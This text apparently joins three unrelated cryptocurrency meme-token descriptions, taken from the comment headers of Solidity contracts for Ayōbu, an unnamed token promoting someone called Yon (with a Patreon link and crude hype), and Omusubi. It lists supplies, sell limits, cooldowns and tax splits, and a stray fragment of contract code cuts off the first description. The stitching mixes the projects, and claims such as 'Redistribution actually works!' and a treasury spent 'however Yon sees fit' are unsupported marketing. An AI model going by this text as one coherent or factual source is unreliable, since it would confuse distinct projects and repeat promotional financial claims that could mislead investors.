They are holy creatures, and bring happiness and blessings to those around them. With a dynamic sell limit based on price impact and increasing sell cooldowns and redistribution taxes on consecutive sells, Ayōbu was designed to reward holders and discourage dumping. 1. Buy limit and cooldown timer on buys to make sure no automated bots have a chance to snipe big portions of the pool. 2. No presale wallets that can dump on the community. Token Information 1. 1,000,000,000,000 Total Supply 3. Developer provides LP 4. Fair launch for everyone! 5. 0,2% transaction limit on launch 6. Buy limit lifted after launch 7. Sells limited to 3% of the Liquidity Pool, <2.9% price impact 8. Sell cooldown increases on consecutive sells, 4 sells within a 24 hours period are allowed 9. 5% redistribution to holders on all buys 10. 10% redistribution to holders on the first sell, increases 2x, 3x, 4x on consecutive sells 11. Redistribution actually works! 12. 5-6% developer fee split within the team */ pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender;

/** This token is for the true degens and for the man Yon himself who has helped so many come up. If you don't know Yon you better get to know. This man is killing the game and helping many rise with him. You can get access to his private group here - https://www.patreon.com/join/Yonworld I created this token for y'all. Take it and run with it. Blow the fucking roof off this bitch 🚀 Initial liquidity will be low so that you can make those huge gains. Initial lock will be 1 week and will be continue to be extended as long as the project is alive. I will solely communicate through the announcement channel. The telegram group is for y'all to run with. Supply - 1,000,000,000 Max Wallet 2% - To protect you from huge dumps. Buy/Sell tax: 10% DAO Treasury 5% marketing/dev The treasury tax will be spent however Yon sees fit.

Unlike many Notinu forks, it has no sale limitations benefit both whales and shrimps alike, and an innovative dynamic reflection tax rate which increases proportionate to the size of the sell. 🙈 As a sneak peak, here are the basic features of how the contract will be: ✅ a) 5,000,000,000,000 Total Omusubi ✅ b) 100% added to Uniswap as Liquidity (No shitty presale or dev tokens) ✅ c) 15,000,000,000 limit max buy limit + 45sec cooldown between buys for only the FIRST TWO MINUTES, which is lifted automatically. There will be a 15sec cooldown after a buy to nuke the frontrunning bots. (post two minutes there won't be buy/sell limits) ✅ d) 10% total tax on buy 1) 6% Tax for Redistribution to Hodlers as rewards 2) 2% Tax for Buyback 3) 2% Tax Marketing ✅ e) There will be a dynamic fee based on the price impact, ranging from 10% to 40% fee with NO time restrictive sell limits (unlike Myōbu).
